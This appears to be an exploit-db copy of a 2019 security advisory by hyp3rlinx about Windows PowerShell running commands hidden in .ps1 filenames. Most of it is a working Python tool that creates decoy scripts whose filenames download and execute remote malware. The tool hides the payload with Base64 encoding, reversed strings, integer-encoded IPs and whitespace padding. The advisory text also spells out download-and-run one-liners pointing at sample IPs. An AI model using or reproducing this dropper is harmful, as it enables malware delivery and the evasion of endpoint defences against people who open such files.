Microsoft Windows PowerShell – Unsanitized Filename Command Execution

  • 作者: hyp3rlinx
    日期: 2019-08-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47248/
  • '''
    [+] Credits: John Page (aka hyp3rlinx)		
    [+] Website: hyp3rlinx.altervista.org
    [+] Source:http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
    [+] ISR: Apparition Security
     
    
    [Vendor]
    www.microsoft.com
    
    
    [Product]
    Windows PowerShell
    
    Windows PowerShell is a Windows command-line shell designed especially for system administrators.
    PowerShell includes an interactive prompt and a scripting environment that can be used independently or in combination.
    
    
    [Vulnerability Type]
    Unsanitized Filename Command Execution
    
    
    [CVE Reference]
    N/A
    
    
    [Security Issue]
    PowerShell can potentially execute arbitrary code when running specially named scripts due to trusting unsanitized filenames.
    This occurs when ".ps1" files contain semicolons ";" or spaces as part of the filename, causing the execution of a different trojan file;
    or the running of unexpected commands straight from the filename itself without the need for a second file.
    
    For trojan files it doesn't need to be another PowerShell script and can be one of the following ".com, .exe, .bat, .cpl, .js, .vbs and .wsf.
    Therefore, the vulnerably named file ".\Hello;World.ps1" will instead execute "hello.exe", if that script is invoked using the standard
    Windows shell "cmd.exe" and "hello.exe" resides in the same directory as the vulnerably named script.
    
    However, when such scripts are run from PowerShells shell and not "cmd.exe" the "&" (call operator) will block our exploit from working.
    
    Still, if the has user enabled ".ps1" scripts to open with PowerShell as its default program, all it takes is double click the file to trigger 
    the exploit and the "& call operator" will no longer save you. Also, if the user has not enabled PowerShell to open .ps1 scripts
    as default; then running the script from cmd.exe like: c:\>powershell "\Hello;World.ps1" will also work without dropping into the PowerShell shell.
    
    My PoC will download a remote executable save it to the victims machine and then execute it, and the PS files contents are irrelevant.
    Also, note I use "%CD" to target the current working directory where the vicitm has initially opened it, after it calls "iwr" (invoke-webrequest)
    abbreviated for space then it sleeps for 2 seconds and finally executes.
    
    C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))
    
    This can undermine the integrity of PowerShell as it potentially allows unexpected code execution; even when the scripts contents are visually reviewed.
    We may also be able to bypass some endpoint protection or IDS systems that may look at the contents or header of a file but not its filename where are
    commands can be stored.
    
    For this to work the user must have enabled PowerShell as its default program when opening ".ps1" files.
    
    First, we create a Base64 encoded filename for obfuscation; that will download and execute a remote executable named in this case "n.exe".
    c:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))
    
    Give the PS script a normal begining name, then separate commands using ";" semicolon e.g.
    
    Test;powershell -e <BASE64 ENCODED COMMANDS>;2.ps1
    
    Create the executable without a file extension to save space for the filename then save it back using the -O parameter.
    The "-e" is abbreviated for EncodedCommand to again save filename space.
    
    Host the executable on web-server or just use python -m SimpleHTTPServer 80 or whatever.
    Double click to open in PowerShell watch the file get downloaded saved and executed!
    
    My example is used as a "filename embedded downloader", but obviously we can just call other secondary trojan files of various types in the same directory.
    
    Note: User interaction is required, and obviously running any random PS script is dangerous... but hey we looked at the file content and it simply printed a string!
    
    
    [Exploit / PoC]
    '''
    
    from base64 import b64encode
    from base64 import b64decode
    from socket import *
    import argparse,sys,socket,struct,re
    
    #GGPowerShell
    #Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
    #
    #Original advisory:
    #http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
    #
    #Original PoC:
    #https://www.youtube.com/watch?v=AH33RW9g8J4
    #
    #By John Page (aka hyp3rlinx)
    #Apparition Security
    #=========================
    #Features added to the original advisory script:
    #
    #Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile.
    #
    #Added: server port option (Base64 mode only)
    #
    #Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation.
    #Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes.
    #
    #$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
    #
    #-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address.
    #
    #Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
    #
    #Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename.
    #
    #Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for
    #IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play.
    #e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot).
    #
    #All in the name of the dirty PS filename.
    #=========================================
    
    BANNER='''
     _____________________ __ _____ ____ 
    / ____/ ____/ __ \____ ___________/ ___// /_ |__// / / / 
     / / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ / / /
    / /_/ / /_/ / ____/ /_/ / |/ |/ /__/ / ___/ / / / /__/ / /___/ /___
    \____/\____/_/\____/|__/|__/\___/_/ /____/_/ /_/____/_____/_____/ 
    
    By hyp3rlinx
    ApparitionSec
    '''
    
    
    FILENAME_PREFIX="Hello-World"
    POWERSHELL_OBFUSCATED="poWeRshELl"
    DEFAULT_PORT="80"
    DEFAULT_BASE64_WSPACE_LEN=2
    MAX_CHARS = 254
    WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace."
    
    
    def parse_args():
    parser.add_argument("-s", "--server", help="Server to download malware from.")
    parser.add_argument("-p", "--port", help="Malware server port, defaults 80.")
    parser.add_argument("-m", "--locf", help="Name for the Malware upon download.")
    parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.")
    parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.")
    parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.")
    parser.add_argument("-w", "--wspace",help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.")
    parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.")
    parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases")
    return parser.parse_args()
    
    
    #self reverse PS commands
    def rev_str_command(args):
    malware=args.locf[::-1]
    revload=malware
    revload+=" trats;"
    revload+=malware
    revload+=" eliFtuO- "
    revload+=args.server[::-1]
    revload+=" rwi"
    
    payload = "$a='"
    payload+=malware
    payload+=" trats;"
    payload+=malware
    payload+=" eliFtuO- "
    payload+=args.server[::-1]
    payload+=" rwi'[-1..-"+str(len(revload))
    payload+="]-join '';iex $a"
    return payload
    
    
    def ip2int(addr):
    return struct.unpack("!I", inet_aton(addr))[0]
    
    
    def ip2hex(ip):
    x = ip.split('.')
    return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))
    
    
    def obfuscate_ip(target):
    IPHex = ip2hex(target)
    return str(ip2int(IPHex))
    
    
    def decodeB64(p):
    return b64decode(p)
    
    
    def validIP(host):
    try:
    socket.inet_aton(host)
    return True
    except socket.error:
    return False
    
    
    def filename_sz(space,cmds,mode):
    if mode==0:
     return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")
    else:
    return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")
    
    
    def check_filename_size(sz):
    if sz > MAX_CHARS:
    print "Filename is", sz, "chars of max allowed", MAX_CHARS
    print WARN_MSG
    return False
    return True
    
    
    def create_file(payload, args):
    try:
    f=open(payload, "w")
    f.write("Write-Output 'Have a good night!'")
    f.close()
    except Exception as e:
    print "[!] File not created!"
    print WARN_MSG
    return False
    return True
    
    
    def cmd_info(t,p):
    print "PAYLOAD: "+p
    if t==0:
    print "TYPE: Base64 encoded payload."
    else:
    print "TYPE: Self Reversing String Command (must force-download the malware server side)."
    
    
    
    def main(args):
    
    global FILENAME_PREFIX
    
    if len(sys.argv)==1:
    parser.print_help(sys.stderr)
    sys.exit(1)
    
    if args.example:
    usage()
    exit()
    
    sz=0
    space=""
    b64payload=""
    reverse_string_cmd=""
    
    if not validIP(args.server):
    if not args.rev_str_cmd:
    if args.server.find("http://")==-1:
    args.server = "http://"+args.server
    
    if args.ipevade:
    args.server = args.server.replace("http://", "")
    if validIP(args.server):
    args.server = obfuscate_ip(args.server)
    else:
    print "[!] -i (IP evasion) requires a valid IP address, see Help -h."
    exit()
    
    if not args.locf:
    print "[!] Missing local malware save name -m flag see Help -h."
    exit()
    
    if not args.rev_str_cmd:
    
    if not args.remf and not args.force_download:
    print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h."
    exit()
    
    if args.remf and args.force_download:
    print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h."
    exit()
    
    if args.force_download:
    args.remf=""
    
    if args.remf:
    #remote file can be extension-less
    if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):
    print "[!] Invalid remote malware name specified, see Help -h."
    exit()
    
    #local file extension is required
    if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
    print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension."
    exit()
    
    if not args.port:
    args.port = DEFAULT_PORT
    
    if args.wspace:
    args.wspace = int(args.wspace)
    space="--IAA="*DEFAULT_BASE64_WSPACE_LEN
    if args.wspace != DEFAULT_BASE64_WSPACE_LEN:
     print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes"
    
    filename_cmd = "powershell iwr "
    filename_cmd+=args.server
    filename_cmd+=":"
    filename_cmd+=args.port
    filename_cmd+="/"
    filename_cmd+=args.remf
    filename_cmd+=" -OutFile "
    filename_cmd+=args.locf
    filename_cmd+=" ;sleep -s 2;start "
    filename_cmd+=args.locf
    
    b64payload = b64encode(filename_cmd.encode('UTF-16LE'))
    sz = filename_sz(space, b64payload, 0)
    
    FILENAME_PREFIX+=space
    FILENAME_PREFIX+=";"
    FILENAME_PREFIX+=POWERSHELL_OBFUSCATED
    FILENAME_PREFIX+=" -e "
    FILENAME_PREFIX+=b64payload
    FILENAME_PREFIX+=";.ps1"
    COMMANDS = FILENAME_PREFIX 
    
    else:
    
    if args.server.find("http://")!=-1:
    args.server = args.server.replace("http://","")
    
    if args.force_download:
     print "[!] Ignored -f as forced download is already required with -z flag."
    
    if args.wspace:
    space=" "*int(args.wspace)
    
    if args.remf:
    print "[!] Using both -z and -r flags is disallowed, see Help -h."
    exit()
    
    if args.port:
    print "[!] -z flag must use port 80 as its default, see Help -h."
    exit()
    
    if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
    print "[!] Local Malware name invalid -m flag."
    exit()
    
    reverse_string_cmd = rev_str_command(args)
    sz = filename_sz(space, reverse_string_cmd, 1)
    
    FILENAME_PREFIX+=space
    FILENAME_PREFIX+=";"
    FILENAME_PREFIX+=reverse_string_cmd
    FILENAME_PREFIX+=";.ps1"
    COMMANDS=FILENAME_PREFIX
    
    if check_filename_size(sz):
    if create_file(COMMANDS,args):
    if not args.rev_str_cmd:
    cmd_info(0,decodeB64(b64payload))
    else:
    cmd_info(1,reverse_string_cmd)
    return sz
    
    return False
    
    
    def usage():
    print "(-r) -s <domain-name.xxx> -p 5555 -mg.js -r n.js -i -w 2"
    print " Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n"
    print " Download an save malware simply named '2' via port 80, rename to f.exe and execute."
    print " -s <domain-name.xxx> -ma.exe -r 2\n"
    print "(-f) -s <domain-name.xxx> -f -md.exe"
    print " Expects force download from the servers web-root, malware type must be known upfront.\n"
    print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"
    print " Reverse string PowerShell command alternative to Base64 obfuscation"
    print " uses self reversing string of PS commands, malware type must be known upfront."
    print " Defaults port 80, ip-address only and requires server-side forced download from web-root.\n"
    print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"
    print " Reverse string command with (-i) IP as integer value for evasion.\n"
    print " Base64 is the default command obfuscation encoding, unless -z flags specified."
    
    if __name__=="__main__":
    
    print BANNER
    parser = argparse.ArgumentParser()
    sz = main(parse_args())
    
    if sz:
    print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"
    print "PowerShell Unsantized Filename RCE file created."
    '''
    [POC Video URL]
    https://www.youtube.com/watch?v=AH33RW9g8J4
    
    
    [Network Access]
    Remote
    
    
    [Severity]
    High
    
    
    [Disclosure Timeline]
    Vendor Notification: July 20, 2019
    MSRC "does not meet the bar for security servicing" : July 23, 2019
    August 1, 2019 : Public Disclosure
    
    
    
    [+] Disclaimer
    The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
    Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
    or exploits by the author or elsewhere. All content (c).
    '''
    
    hyp3rlinx